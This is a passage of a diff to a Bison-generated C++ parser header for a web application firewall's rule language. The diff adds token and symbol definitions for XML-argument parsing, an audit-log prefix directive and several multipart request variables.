"NoAuditLog" + S_ACTION_NO_LOG = 184, // "NoLog" + S_ACTION_PASS = 185, // "Pass" + S_ACTION_PAUSE = 186, // "Pause" + S_ACTION_PHASE = 187, // "Phase" + S_ACTION_PREPEND = 188, // "Prepend" + S_ACTION_PROXY = 189, // "Proxy" + S_ACTION_REDIRECT = 190, // "Redirect" + S_ACTION_REV = 191, // "Rev" + S_ACTION_SANITISE_ARG = 192, // "SanitiseArg" + S_ACTION_SANITISE_MATCHED = 193, // "SanitiseMatched" + S_ACTION_SANITISE_MATCHED_BYTES = 194, // "SanitiseMatchedBytes" + S_ACTION_SANITISE_REQUEST_HEADER = 195, // "SanitiseRequestHeader" + S_ACTION_SANITISE_RESPONSE_HEADER = 196, // "SanitiseResponseHeader" + S_ACTION_SETENV = 197, // "SetEnv" + S_ACTION_SETRSC = 198, // "SetRsc" + S_ACTION_SETSID = 199, // "SetSid" + S_ACTION_SETUID = 200, // "SetUID" + S_ACTION_SEVERITY = 201, // "Severity" + S_ACTION_SKIP = 202, // "Skip" + S_ACTION_SKIP_AFTER = 203, // "SkipAfter" + S_ACTION_STATUS = 204, // "Status" + S_ACTION_TAG = 205, // "Tag" + S_ACTION_TRANSFORMATION_BASE_64_ENCODE = 206, // "ACTION_TRANSFORMATION_BASE_64_ENCODE" + S_ACTION_TRANSFORMATION_BASE_64_DECODE = 207, // "ACTION_TRANSFORMATION_BASE_64_DECODE" + S_ACTION_TRANSFORMATION_BASE_64_DECODE_EXT = 208, // "ACTION_TRANSFORMATION_BASE_64_DECODE_EXT" + S_ACTION_TRANSFORMATION_CMD_LINE = 209, // "ACTION_TRANSFORMATION_CMD_LINE" + S_ACTION_TRANSFORMATION_COMPRESS_WHITESPACE = 210, // "ACTION_TRANSFORMATION_COMPRESS_WHITESPACE" + S_ACTION_TRANSFORMATION_CSS_DECODE = 211, // "ACTION_TRANSFORMATION_CSS_DECODE" + S_ACTION_TRANSFORMATION_ESCAPE_SEQ_DECODE = 212, // "ACTION_TRANSFORMATION_ESCAPE_SEQ_DECODE" + S_ACTION_TRANSFORMATION_HEX_ENCODE = 213, // "ACTION_TRANSFORMATION_HEX_ENCODE" + S_ACTION_TRANSFORMATION_HEX_DECODE = 214, // "ACTION_TRANSFORMATION_HEX_DECODE" + S_ACTION_TRANSFORMATION_HTML_ENTITY_DECODE = 215, // "ACTION_TRANSFORMATION_HTML_ENTITY_DECODE" + S_ACTION_TRANSFORMATION_JS_DECODE = 216, // "ACTION_TRANSFORMATION_JS_DECODE" + S_ACTION_TRANSFORMATION_LENGTH = 217, // "ACTION_TRANSFORMATION_LENGTH" + S_ACTION_TRANSFORMATION_LOWERCASE = 218, // "ACTION_TRANSFORMATION_LOWERCASE" + S_ACTION_TRANSFORMATION_MD5 = 219, // "ACTION_TRANSFORMATION_MD5" + S_ACTION_TRANSFORMATION_NONE = 220, // "ACTION_TRANSFORMATION_NONE" + S_ACTION_TRANSFORMATION_NORMALISE_PATH = 221, // "ACTION_TRANSFORMATION_NORMALISE_PATH" + S_ACTION_TRANSFORMATION_NORMALISE_PATH_WIN = 222, // "ACTION_TRANSFORMATION_NORMALISE_PATH_WIN" + S_ACTION_TRANSFORMATION_PARITY_EVEN_7_BIT = 223, // "ACTION_TRANSFORMATION_PARITY_EVEN_7_BIT" + S_ACTION_TRANSFORMATION_PARITY_ODD_7_BIT = 224, // "ACTION_TRANSFORMATION_PARITY_ODD_7_BIT" + S_ACTION_TRANSFORMATION_PARITY_ZERO_7_BIT = 225, // "ACTION_TRANSFORMATION_PARITY_ZERO_7_BIT" + S_ACTION_TRANSFORMATION_REMOVE_COMMENTS = 226, // "ACTION_TRANSFORMATION_REMOVE_COMMENTS" + S_ACTION_TRANSFORMATION_REMOVE_COMMENTS_CHAR = 227, // "ACTION_TRANSFORMATION_REMOVE_COMMENTS_CHAR" + S_ACTION_TRANSFORMATION_REMOVE_NULLS = 228, // "ACTION_TRANSFORMATION_REMOVE_NULLS" + S_ACTION_TRANSFORMATION_REMOVE_WHITESPACE = 229, // "ACTION_TRANSFORMATION_REMOVE_WHITESPACE" + S_ACTION_TRANSFORMATION_REPLACE_COMMENTS = 230, // "ACTION_TRANSFORMATION_REPLACE_COMMENTS" + S_ACTION_TRANSFORMATION_REPLACE_NULLS = 231, // "ACTION_TRANSFORMATION_REPLACE_NULLS" + S_ACTION_TRANSFORMATION_SHA1 = 232, // "ACTION_TRANSFORMATION_SHA1" + S_ACTION_TRANSFORMATION_SQL_HEX_DECODE = 233, // "ACTION_TRANSFORMATION_SQL_HEX_DECODE" + S_ACTION_TRANSFORMATION_TRIM = 234, // "ACTION_TRANSFORMATION_TRIM" + S_ACTION_TRANSFORMATION_TRIM_LEFT = 235, // "ACTION_TRANSFORMATION_TRIM_LEFT" + S_ACTION_TRANSFORMATION_TRIM_RIGHT = 236, // "ACTION_TRANSFORMATION_TRIM_RIGHT" + S_ACTION_TRANSFORMATION_UPPERCASE = 237, // "ACTION_TRANSFORMATION_UPPERCASE" + S_ACTION_TRANSFORMATION_URL_ENCODE = 238, // "ACTION_TRANSFORMATION_URL_ENCODE" + S_ACTION_TRANSFORMATION_URL_DECODE = 239, // "ACTION_TRANSFORMATION_URL_DECODE" + S_ACTION_TRANSFORMATION_URL_DECODE_UNI = 240, // "ACTION_TRANSFORMATION_URL_DECODE_UNI" + S_ACTION_TRANSFORMATION_UTF8_TO_UNICODE = 241, // "ACTION_TRANSFORMATION_UTF8_TO_UNICODE" + S_ACTION_VER = 242, // "Ver" + S_ACTION_XMLNS = 243, // "xmlns" + S_CONFIG_COMPONENT_SIG = 244, // "CONFIG_COMPONENT_SIG" + S_CONFIG_CONN_ENGINE = 245, // "CONFIG_CONN_ENGINE" + S_CONFIG_SEC_ARGUMENT_SEPARATOR = 246, // "CONFIG_SEC_ARGUMENT_SEPARATOR" + S_CONFIG_SEC_WEB_APP_ID = 247, // "CONFIG_SEC_WEB_APP_ID" + S_CONFIG_SEC_SERVER_SIG = 248, // "CONFIG_SEC_SERVER_SIG" + S_CONFIG_DIR_AUDIT_DIR = 249, // "CONFIG_DIR_AUDIT_DIR" + S_CONFIG_DIR_AUDIT_DIR_MOD = 250, // "CONFIG_DIR_AUDIT_DIR_MOD" + S_CONFIG_DIR_AUDIT_ENG = 251, // "CONFIG_DIR_AUDIT_ENG" + S_CONFIG_DIR_AUDIT_FLE_MOD = 252, // "CONFIG_DIR_AUDIT_FLE_MOD" + S_CONFIG_DIR_AUDIT_LOG = 253, // "CONFIG_DIR_AUDIT_LOG" + S_CONFIG_DIR_AUDIT_LOG2 = 254, // "CONFIG_DIR_AUDIT_LOG2" + S_CONFIG_DIR_AUDIT_LOG_P = 255, // "CONFIG_DIR_AUDIT_LOG_P" + S_CONFIG_DIR_AUDIT_STS = 256, // "CONFIG_DIR_AUDIT_STS" + S_CONFIG_DIR_AUDIT_PREFIX = 257, // "CONFIG_DIR_AUDIT_PREFIX" + S_CONFIG_DIR_AUDIT_TPE = 258, // "CONFIG_DIR_AUDIT_TPE" + S_CONFIG_DIR_DEBUG_LOG = 259, // "CONFIG_DIR_DEBUG_LOG" + S_CONFIG_DIR_DEBUG_LVL = 260, // "CONFIG_DIR_DEBUG_LVL" + S_CONFIG_SEC_CACHE_TRANSFORMATIONS = 261, // "CONFIG_SEC_CACHE_TRANSFORMATIONS" + S_CONFIG_SEC_DISABLE_BACKEND_COMPRESS = 262, // "CONFIG_SEC_DISABLE_BACKEND_COMPRESS" + S_CONFIG_SEC_HASH_ENGINE = 263, // "CONFIG_SEC_HASH_ENGINE" + S_CONFIG_SEC_HASH_KEY = 264, // "CONFIG_SEC_HASH_KEY" + S_CONFIG_SEC_HASH_PARAM = 265, // "CONFIG_SEC_HASH_PARAM" + S_CONFIG_SEC_HASH_METHOD_RX = 266, // "CONFIG_SEC_HASH_METHOD_RX" + S_CONFIG_SEC_HASH_METHOD_PM = 267, // "CONFIG_SEC_HASH_METHOD_PM" + S_CONFIG_SEC_CHROOT_DIR = 268, // "CONFIG_SEC_CHROOT_DIR" + S_CONFIG_DIR_GEO_DB = 269, // "CONFIG_DIR_GEO_DB" + S_CONFIG_DIR_GSB_DB = 270, // "CONFIG_DIR_GSB_DB" + S_CONFIG_SEC_GUARDIAN_LOG = 271, // "CONFIG_SEC_GUARDIAN_LOG" + S_CONFIG_DIR_PCRE_MATCH_LIMIT = 272, // "CONFIG_DIR_PCRE_MATCH_LIMIT" + S_CONFIG_DIR_PCRE_MATCH_LIMIT_RECURSION = 273, // "CONFIG_DIR_PCRE_MATCH_LIMIT_RECURSION" + S_CONFIG_SEC_CONN_R_STATE_LIMIT = 274, // "CONFIG_SEC_CONN_R_STATE_LIMIT" + S_CONFIG_SEC_CONN_W_STATE_LIMIT = 275, // "CONFIG_SEC_CONN_W_STATE_LIMIT" + S_CONFIG_SEC_SENSOR_ID = 276, // "CONFIG_SEC_SENSOR_ID" + S_CONFIG_DIR_ARGS_LIMIT = 277, // "CONFIG_DIR_ARGS_LIMIT" + S_CONFIG_DIR_REQ_BODY_JSON_DEPTH_LIMIT = 278, // "CONFIG_DIR_REQ_BODY_JSON_DEPTH_LIMIT" + S_CONFIG_DIR_REQ_BODY = 279, // "CONFIG_DIR_REQ_BODY" + S_CONFIG_DIR_REQ_BODY_IN_MEMORY_LIMIT = 280, // "CONFIG_DIR_REQ_BODY_IN_MEMORY_LIMIT" + S_CONFIG_DIR_REQ_BODY_LIMIT = 281, // "CONFIG_DIR_REQ_BODY_LIMIT" + S_CONFIG_DIR_REQ_BODY_LIMIT_ACTION = 282, // "CONFIG_DIR_REQ_BODY_LIMIT_ACTION" + S_CONFIG_DIR_REQ_BODY_NO_FILES_LIMIT = 283, // "CONFIG_DIR_REQ_BODY_NO_FILES_LIMIT" + S_CONFIG_DIR_RES_BODY = 284, // "CONFIG_DIR_RES_BODY" + S_CONFIG_DIR_RES_BODY_LIMIT = 285, // "CONFIG_DIR_RES_BODY_LIMIT" + S_CONFIG_DIR_RES_BODY_LIMIT_ACTION = 286, // "CONFIG_DIR_RES_BODY_LIMIT_ACTION" + S_CONFIG_SEC_RULE_INHERITANCE = 287, // "CONFIG_SEC_RULE_INHERITANCE" + S_CONFIG_SEC_RULE_PERF_TIME = 288, // "CONFIG_SEC_RULE_PERF_TIME" + S_CONFIG_DIR_RULE_ENG = 289, // "CONFIG_DIR_RULE_ENG" + S_CONFIG_DIR_SEC_ACTION = 290, // "CONFIG_DIR_SEC_ACTION" + S_CONFIG_DIR_SEC_DEFAULT_ACTION = 291, // "CONFIG_DIR_SEC_DEFAULT_ACTION" + S_CONFIG_DIR_SEC_MARKER = 292, // "CONFIG_DIR_SEC_MARKER" + S_CONFIG_DIR_UNICODE_MAP_FILE = 293, // "CONFIG_DIR_UNICODE_MAP_FILE" + S_CONFIG_DIR_UNICODE_CODE_PAGE = 294, // "CONFIG_DIR_UNICODE_CODE_PAGE" + S_CONFIG_SEC_COLLECTION_TIMEOUT = 295, // "CONFIG_SEC_COLLECTION_TIMEOUT" + S_CONFIG_SEC_HTTP_BLKEY = 296, // "CONFIG_SEC_HTTP_BLKEY" + S_CONFIG_SEC_INTERCEPT_ON_ERROR = 297, // "CONFIG_SEC_INTERCEPT_ON_ERROR" + S_CONFIG_SEC_REMOTE_RULES_FAIL_ACTION = 298, // "CONFIG_SEC_REMOTE_RULES_FAIL_ACTION" + S_CONFIG_SEC_RULE_REMOVE_BY_ID = 299, // "CONFIG_SEC_RULE_REMOVE_BY_ID" + S_CONFIG_SEC_RULE_REMOVE_BY_MSG = 300, // "CONFIG_SEC_RULE_REMOVE_BY_MSG" + S_CONFIG_SEC_RULE_REMOVE_BY_TAG = 301, // "CONFIG_SEC_RULE_REMOVE_BY_TAG" + S_CONFIG_SEC_RULE_UPDATE_TARGET_BY_TAG = 302, // "CONFIG_SEC_RULE_UPDATE_TARGET_BY_TAG" + S_CONFIG_SEC_RULE_UPDATE_TARGET_BY_MSG = 303, // "CONFIG_SEC_RULE_UPDATE_TARGET_BY_MSG" + S_CONFIG_SEC_RULE_UPDATE_TARGET_BY_ID = 304, // "CONFIG_SEC_RULE_UPDATE_TARGET_BY_ID" + S_CONFIG_SEC_RULE_UPDATE_ACTION_BY_ID = 305, // "CONFIG_SEC_RULE_UPDATE_ACTION_BY_ID" + S_CONFIG_UPDLOAD_KEEP_FILES = 306, // "CONFIG_UPDLOAD_KEEP_FILES" + S_CONFIG_UPDLOAD_SAVE_TMP_FILES = 307, // "CONFIG_UPDLOAD_SAVE_TMP_FILES" + S_CONFIG_UPLOAD_DIR = 308, // "CONFIG_UPLOAD_DIR" + S_CONFIG_UPLOAD_FILE_LIMIT = 309, // "CONFIG_UPLOAD_FILE_LIMIT" + S_CONFIG_UPLOAD_FILE_MODE = 310, // "CONFIG_UPLOAD_FILE_MODE" + S_CONFIG_VALUE_ABORT = 311, // "CONFIG_VALUE_ABORT" + S_CONFIG_VALUE_DETC = 312, // "CONFIG_VALUE_DETC" + S_CONFIG_VALUE_HTTPS = 313, // "CONFIG_VALUE_HTTPS" + S_CONFIG_VALUE_ONLYARGS = 314, // "CONFIG_VALUE_ONLYARGS" + S_CONFIG_VALUE_OFF = 315, // "CONFIG_VALUE_OFF" + S_CONFIG_VALUE_ON = 316, // "CONFIG_VALUE_ON" + S_CONFIG_VALUE_PARALLEL = 317, // "CONFIG_VALUE_PARALLEL" + S_CONFIG_VALUE_PROCESS_PARTIAL = 318, // "CONFIG_VALUE_PROCESS_PARTIAL" + S_CONFIG_VALUE_REJECT = 319, // "CONFIG_VALUE_REJECT" + S_CONFIG_VALUE_RELEVANT_ONLY = 320, // "CONFIG_VALUE_RELEVANT_ONLY" + S_CONFIG_VALUE_SERIAL = 321, // "CONFIG_VALUE_SERIAL" + S_CONFIG_VALUE_WARN = 322, // "CONFIG_VALUE_WARN" + S_CONFIG_XML_EXTERNAL_ENTITY = 323, // "CONFIG_XML_EXTERNAL_ENTITY" + S_CONFIG_XML_PARSE_XML_INTO_ARGS = 324, // "CONFIG_XML_PARSE_XML_INTO_ARGS" + S_CONGIG_DIR_RESPONSE_BODY_MP = 325, // "CONGIG_DIR_RESPONSE_BODY_MP" + S_CONGIG_DIR_SEC_ARG_SEP = 326, // "CONGIG_DIR_SEC_ARG_SEP" + S_CONGIG_DIR_SEC_COOKIE_FORMAT = 327, // "CONGIG_DIR_SEC_COOKIE_FORMAT" + S_CONFIG_SEC_COOKIEV0_SEPARATOR = 328, // "CONFIG_SEC_COOKIEV0_SEPARATOR" + S_CONGIG_DIR_SEC_DATA_DIR = 329, // "CONGIG_DIR_SEC_DATA_DIR" + S_CONGIG_DIR_SEC_STATUS_ENGINE = 330, // "CONGIG_DIR_SEC_STATUS_ENGINE" + S_CONFIG_SEC_STREAM_IN_BODY_INSPECTION = 331, // "CONFIG_SEC_STREAM_IN_BODY_INSPECTION" + S_CONFIG_SEC_STREAM_OUT_BODY_INSPECTION = 332, // "CONFIG_SEC_STREAM_OUT_BODY_INSPECTION" + S_CONGIG_DIR_SEC_TMP_DIR = 333, // "CONGIG_DIR_SEC_TMP_DIR" + S_DIRECTIVE = 334, // "DIRECTIVE" + S_DIRECTIVE_SECRULESCRIPT = 335, // "DIRECTIVE_SECRULESCRIPT" + S_FREE_TEXT_QUOTE_MACRO_EXPANSION = 336, // "FREE_TEXT_QUOTE_MACRO_EXPANSION" + S_QUOTATION_MARK = 337, // "QUOTATION_MARK" + S_RUN_TIME_VAR_BLD = 338, // "RUN_TIME_VAR_BLD" + S_RUN_TIME_VAR_DUR = 339, // "RUN_TIME_VAR_DUR" + S_RUN_TIME_VAR_HSV = 340, // "RUN_TIME_VAR_HSV" + S_RUN_TIME_VAR_REMOTE_USER = 341, // "RUN_TIME_VAR_REMOTE_USER" + S_RUN_TIME_VAR_TIME = 342, // "RUN_TIME_VAR_TIME" + S_RUN_TIME_VAR_TIME_DAY = 343, // "RUN_TIME_VAR_TIME_DAY" + S_RUN_TIME_VAR_TIME_EPOCH = 344, // "RUN_TIME_VAR_TIME_EPOCH" + S_RUN_TIME_VAR_TIME_HOUR = 345, // "RUN_TIME_VAR_TIME_HOUR" + S_RUN_TIME_VAR_TIME_MIN = 346, // "RUN_TIME_VAR_TIME_MIN" + S_RUN_TIME_VAR_TIME_MON = 347, // "RUN_TIME_VAR_TIME_MON" + S_RUN_TIME_VAR_TIME_SEC = 348, // "RUN_TIME_VAR_TIME_SEC" + S_RUN_TIME_VAR_TIME_WDAY = 349, // "RUN_TIME_VAR_TIME_WDAY" + S_RUN_TIME_VAR_TIME_YEAR = 350, // "RUN_TIME_VAR_TIME_YEAR" + S_VARIABLE = 351, // "VARIABLE" + S_DICT_ELEMENT = 352, // "Dictionary element" + S_DICT_ELEMENT_WITH_EQUALS = 353, // "Dictionary element, with equals" + S_DICT_ELEMENT_REGEXP = 354, // "Dictionary element, selected by regexp" + S_YYACCEPT = 355, // $accept + S_input = 356, // input + S_line = 357, // line + S_audit_log = 358, // audit_log + S_actions = 359, // actions + S_actions_may_quoted = 360, // actions_may_quoted + S_op = 361, // op + S_op_before_init = 362, // op_before_init + S_expression = 363, // expression + S_variables = 364, // variables + S_variables_pre_process = 365, // variables_pre_process + S_variables_may_be_quoted = 366, // variables_may_be_quoted + S_var = 367, // var + S_act = 368, // act + S_setvar_action = 369, // setvar_action + S_run_time_string = 370 // run_time_string }; }; @@ -1764,6 +1787,7 @@ namespace yy { case symbol_kind::S_ACTION_CTL_BDY_XML: // "ACTION_CTL_BDY_XML" case symbol_kind::S_ACTION_CTL_BDY_URLENCODED: // "ACTION_CTL_BDY_URLENCODED" case symbol_kind::S_ACTION_CTL_FORCE_REQ_BODY_VAR: // "ACTION_CTL_FORCE_REQ_BODY_VAR" + case symbol_kind::S_ACTION_CTL_PARSE_XML_INTO_ARGS: // "ACTION_CTL_PARSE_XML_INTO_ARGS" case symbol_kind::S_ACTION_CTL_REQUEST_BODY_ACCESS: // "ACTION_CTL_REQUEST_BODY_ACCESS" case symbol_kind::S_ACTION_CTL_RULE_REMOVE_BY_ID: // "ACTION_CTL_RULE_REMOVE_BY_ID" case symbol_kind::S_ACTION_CTL_RULE_REMOVE_BY_TAG: // "ACTION_CTL_RULE_REMOVE_BY_TAG" @@ -1855,6 +1879,7 @@ namespace yy { case symbol_kind::S_CONFIG_DIR_AUDIT_LOG2: // "CONFIG_DIR_AUDIT_LOG2" case symbol_kind::S_CONFIG_DIR_AUDIT_LOG_P: // "CONFIG_DIR_AUDIT_LOG_P" case symbol_kind::S_CONFIG_DIR_AUDIT_STS: // "CONFIG_DIR_AUDIT_STS" + case symbol_kind::S_CONFIG_DIR_AUDIT_PREFIX: // "CONFIG_DIR_AUDIT_PREFIX" case symbol_kind::S_CONFIG_DIR_AUDIT_TPE: // "CONFIG_DIR_AUDIT_TPE" case symbol_kind::S_CONFIG_DIR_DEBUG_LOG: // "CONFIG_DIR_DEBUG_LOG" case symbol_kind::S_CONFIG_DIR_DEBUG_LVL: // "CONFIG_DIR_DEBUG_LVL" @@ -1911,6 +1936,7 @@ namespace yy { case symbol_kind::S_CONFIG_VALUE_ABORT: // "CONFIG_VALUE_ABORT" case symbol_kind::S_CONFIG_VALUE_DETC: // "CONFIG_VALUE_DETC" case symbol_kind::S_CONFIG_VALUE_HTTPS: // "CONFIG_VALUE_HTTPS" + case symbol_kind::S_CONFIG_VALUE_ONLYARGS: // "CONFIG_VALUE_ONLYARGS" case symbol_kind::S_CONFIG_VALUE_OFF: // "CONFIG_VALUE_OFF" case symbol_kind::S_CONFIG_VALUE_ON: // "CONFIG_VALUE_ON" case symbol_kind::S_CONFIG_VALUE_PARALLEL: // "CONFIG_VALUE_PARALLEL" @@ -1920,6 +1946,7 @@ namespace yy { case symbol_kind::S_CONFIG_VALUE_SERIAL: // "CONFIG_VALUE_SERIAL" case symbol_kind::S_CONFIG_VALUE_WARN: // "CONFIG_VALUE_WARN" case symbol_kind::S_CONFIG_XML_EXTERNAL_ENTITY: // "CONFIG_XML_EXTERNAL_ENTITY" + case symbol_kind::S_CONFIG_XML_PARSE_XML_INTO_ARGS: // "CONFIG_XML_PARSE_XML_INTO_ARGS" case symbol_kind::S_CONGIG_DIR_RESPONSE_BODY_MP: // "CONGIG_DIR_RESPONSE_BODY_MP" case symbol_kind::S_CONGIG_DIR_SEC_ARG_SEP: // "CONGIG_DIR_SEC_ARG_SEP" case symbol_kind::S_CONGIG_DIR_SEC_COOKIE_FORMAT: // "CONGIG_DIR_SEC_COOKIE_FORMAT" @@ -2120,6 +2147,72 @@ namespace yy { (void) yysym; switch (yykind) { + case symbol_kind::S_actions: // actions +#line 730 "seclang-parser.yy" + { } +#line 2154 "seclang-parser.hh" + break; + + case symbol_kind::S_actions_may_quoted: // actions_may_quoted +#line 730 "seclang-parser.yy" + { } +#line 2160 "seclang-parser.hh" + break; + + case symbol_kind::S_op: // op +#line 731 "seclang-parser.yy" + { } +#line 2166 "seclang-parser.hh" + break; + + case symbol_kind::S_op_before_init: // op_before_init +#line 731 "seclang-parser.yy" + { } +#line 2172 "seclang-parser.hh" + break; + + case symbol_kind::S_variables: // variables +#line 733 "seclang-parser.yy" + { } +#line 2178 "seclang-parser.hh" + break; + + case symbol_kind::S_variables_pre_process: // variables_pre_process +#line 733 "seclang-parser.yy" + { } +#line 2184 "seclang-parser.hh" + break; + + case symbol_kind::S_variables_may_be_quoted: // variables_may_be_quoted +#line 733 "seclang-parser.yy" + { } +#line 2190 "seclang-parser.hh" + break; + + case symbol_kind::S_var: // var +#line 732 "seclang-parser.yy" + { } +#line 2196 "seclang-parser.hh" + break; + + case symbol_kind::S_act: // act +#line 728 "seclang-parser.yy" + { } +#line 2202 "seclang-parser.hh" + break; + + case symbol_kind::S_setvar_action: // setvar_action +#line 728 "seclang-parser.yy" + { } +#line 2208 "seclang-parser.hh" + break; + + case symbol_kind::S_run_time_string: // run_time_string +#line 729 "seclang-parser.yy" + { } +#line 2214 "seclang-parser.hh" + break; + default: break; } @@ -2140,6 +2233,7 @@ switch (yykind) case symbol_kind::S_ACTION_CTL_BDY_XML: // "ACTION_CTL_BDY_XML" case symbol_kind::S_ACTION_CTL_BDY_URLENCODED: // "ACTION_CTL_BDY_URLENCODED" case symbol_kind::S_ACTION_CTL_FORCE_REQ_BODY_VAR: // "ACTION_CTL_FORCE_REQ_BODY_VAR" + case symbol_kind::S_ACTION_CTL_PARSE_XML_INTO_ARGS: // "ACTION_CTL_PARSE_XML_INTO_ARGS" case symbol_kind::S_ACTION_CTL_REQUEST_BODY_ACCESS: // "ACTION_CTL_REQUEST_BODY_ACCESS" case symbol_kind::S_ACTION_CTL_RULE_REMOVE_BY_ID: // "ACTION_CTL_RULE_REMOVE_BY_ID" case symbol_kind::S_ACTION_CTL_RULE_REMOVE_BY_TAG: // "ACTION_CTL_RULE_REMOVE_BY_TAG" @@ -2231,6 +2325,7 @@ switch (yykind) case symbol_kind::S_CONFIG_DIR_AUDIT_LOG2: // "CONFIG_DIR_AUDIT_LOG2" case symbol_kind::S_CONFIG_DIR_AUDIT_LOG_P: // "CONFIG_DIR_AUDIT_LOG_P" case symbol_kind::S_CONFIG_DIR_AUDIT_STS: // "CONFIG_DIR_AUDIT_STS" + case symbol_kind::S_CONFIG_DIR_AUDIT_PREFIX: // "CONFIG_DIR_AUDIT_PREFIX" case symbol_kind::S_CONFIG_DIR_AUDIT_TPE: // "CONFIG_DIR_AUDIT_TPE" case symbol_kind::S_CONFIG_DIR_DEBUG_LOG: // "CONFIG_DIR_DEBUG_LOG" case symbol_kind::S_CONFIG_DIR_DEBUG_LVL: // "CONFIG_DIR_DEBUG_LVL" @@ -2287,6 +2382,7 @@ switch (yykind) case symbol_kind::S_CONFIG_VALUE_ABORT: // "CONFIG_VALUE_ABORT" case symbol_kind::S_CONFIG_VALUE_DETC: // "CONFIG_VALUE_DETC" case symbol_kind::S_CONFIG_VALUE_HTTPS: // "CONFIG_VALUE_HTTPS" + case symbol_kind::S_CONFIG_VALUE_ONLYARGS: // "CONFIG_VALUE_ONLYARGS" case symbol_kind::S_CONFIG_VALUE_OFF: // "CONFIG_VALUE_OFF" case symbol_kind::S_CONFIG_VALUE_ON: // "CONFIG_VALUE_ON" case symbol_kind::S_CONFIG_VALUE_PARALLEL: // "CONFIG_VALUE_PARALLEL" @@ -2296,6 +2392,7 @@ switch (yykind) case symbol_kind::S_CONFIG_VALUE_SERIAL: // "CONFIG_VALUE_SERIAL" case symbol_kind::S_CONFIG_VALUE_WARN: // "CONFIG_VALUE_WARN" case symbol_kind::S_CONFIG_XML_EXTERNAL_ENTITY: // "CONFIG_XML_EXTERNAL_ENTITY" + case symbol_kind::S_CONFIG_XML_PARSE_XML_INTO_ARGS: // "CONFIG_XML_PARSE_XML_INTO_ARGS" case symbol_kind::S_CONGIG_DIR_RESPONSE_BODY_MP: // "CONGIG_DIR_RESPONSE_BODY_MP" case symbol_kind::S_CONGIG_DIR_SEC_ARG_SEP: // "CONGIG_DIR_SEC_ARG_SEP" case symbol_kind::S_CONGIG_DIR_SEC_COOKIE_FORMAT: // "CONGIG_DIR_SEC_COOKIE_FORMAT" @@ -2774,6 +2871,36 @@ switch (yykind) return symbol_type (token::TOK_VARIABLE_MULTIPART_FILENAME, l); } #endif +#if 201103L <= YY_CPLUSPLUS + static + symbol_type + make_VARIABLE_MULTIPART_FILENAME_CHARSET (location_type l) + { + return symbol_type (token::TOK_VARIABLE_MULTIPART_FILENAME_CHARSET, std::move (l)); + } +#else + static + symbol_type + make_VARIABLE_MULTIPART_FILENAME_CHARSET (const location_type& l) + { + return symbol_type (token::TOK_VARIABLE_MULTIPART_FILENAME_CHARSET, l); + } +#endif +#if 201103L <= YY_CPLUSPLUS + static + symbol_type + make_VARIABLE_MULTIPART_FILENAME_LANGUAGE (location_type l) + { + return symbol_type (token::TOK_VARIABLE_MULTIPART_FILENAME_LANGUAGE, std::move (l)); + } +#else + static + symbol_type + make_VARIABLE_MULTIPART_FILENAME_LANGUAGE (const location_type& l) + { + return symbol_type (token::TOK_VARIABLE_MULTIPART_FILENAME_LANGUAGE, l); + } +#endif #if 201103L <= YY_CPLUSPLUS static symbol_type @@ -3224,6 +3351,21 @@ switch (yykind) return symbol_type (token::TOK_VARIABLE_MULTIPART_DATA_BEFORE, l); } #endif +#if 201103L <= YY_CPLUSPLUS + static + symbol_type + make_VARIABLE_MULTIPART_DUPLICATE_PART_HEADER (location_type l) + { + return symbol_type (token::TOK_VARIABLE_MULTIPART_DUPLICATE_PART_HEADER, std::move (l)); + } +#else + static + symbol_type + make_VARIABLE_MULTIPART_DUPLICATE_PART_HEADER (const location_type& l) + { + return symbol_type (token::TOK_VARIABLE_MULTIPART_DUPLICATE_PART_HEADER, l); + } +#endif #if 201103L <= YY_CPLUSPLUS static symbol_type @@ -4949,6 +5091,21 @@ switch (yykind) return symbol_type (token::TOK_ACTION_CTL_FORCE_REQ_BODY_VAR, v, l); } #endif +#if 201103L <= YY_CPLUSPLUS + static + symbol_type + make_ACTION_CTL_PARSE_XML_INTO_ARGS (std::string v, location_type l) + { + return symbol_type (token::TOK_ACTION_CTL_PARSE_XML_INTO_ARGS, std::move (v), std::move (l)); + } +#else + static + symbol_type + make_ACTION_CTL_PARSE_XML_INTO_ARGS (const std::string& v, const location_type& l) + { + return symbol_type (token::TOK_ACTION_CTL_PARSE_XML_INTO_ARGS, v, l); + } +#endif #if 201103L <= YY_CPLUSPLUS static symbol_type @@ -6314,6 +6471,21 @@ switch (yykind) return symbol_type (token::TOK_CONFIG_DIR_AUDIT_STS, v, l); } #endif +#if 201103L <= YY_CPLUSPLUS + static + symbol_type + make_CONFIG_DIR_AUDIT_PREFIX (std::string v, location_type l) + { + return symbol_type (token::TOK_CONFIG_DIR_AUDIT_PREFIX, std::move (v), std::move (l)); + } +#else + static + symbol_type + make_CONFIG_DIR_AUDIT_PREFIX (const std::string& v, const location_type& l) + { + return symbol_type (token::TOK_CONFIG_DIR_AUDIT_PREFIX, v, l); + } +#endif #if 201103L <= YY_CPLUSPLUS static symbol_type @@ -7154,6 +7326,21 @@ switch (yykind) return symbol_type (token::TOK_CONFIG_VALUE_HTTPS, v, l); } #endif +#if 201103L <= YY_CPLUSPLUS + static + symbol_type + make_CONFIG_VALUE_ONLYARGS (std::string v, location_type l) + { + return symbol_type (token::TOK_CONFIG_VALUE_ONLYARGS, std::move (v), std::move (l)); + } +#else + static + symbol_type + make_CONFIG_VALUE_ONLYARGS (const std::string& v, const location_type& l) + { + return symbol_type (token::TOK_CONFIG_VALUE_ONLYARGS, v, l); + } +#endif #if 201103L <= YY_CPLUSPLUS static symbol_type @@ -7289,6 +7476,21 @@ switch (yykind) return symbol_type (token::TOK_CONFIG_XML_EXTERNAL_ENTITY, v, l); } #endif +#if 201103L <= YY_CPLUSPLUS + static + symbol_type + make_CONFIG_XML_PARSE_XML_INTO_ARGS (std::string v, location_type l) + { + return symbol_type (token::TOK_CONFIG_XML_PARSE_XML_INTO_ARGS, std::move (v), std::move (l)); + } +#else + static + symbol_type + make_CONFIG_XML_PARSE_XML_INTO_ARGS (const std::string& v, const location_type& l) + { + return symbol_type (token::TOK_CONFIG_XML_PARSE_XML_INTO_ARGS, v, l); + } +#endif #if 201103L <= YY_CPLUSPLUS static symbol_type @@ -8069,9 +8271,9 @@ switch (yykind) /// Constants. enum { - yylast_ = 3372, ///< Last index in yytable_. + yylast_ = 3452, ///< Last index in yytable_. yynnts_ = 16, ///< Number of nonterminal symbols. - yyfinal_ = 341 ///< Termination state number. + yyfinal_ = 350 ///< Termination state number. }; @@ -8150,10 +8352,10 @@ switch (yykind) 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 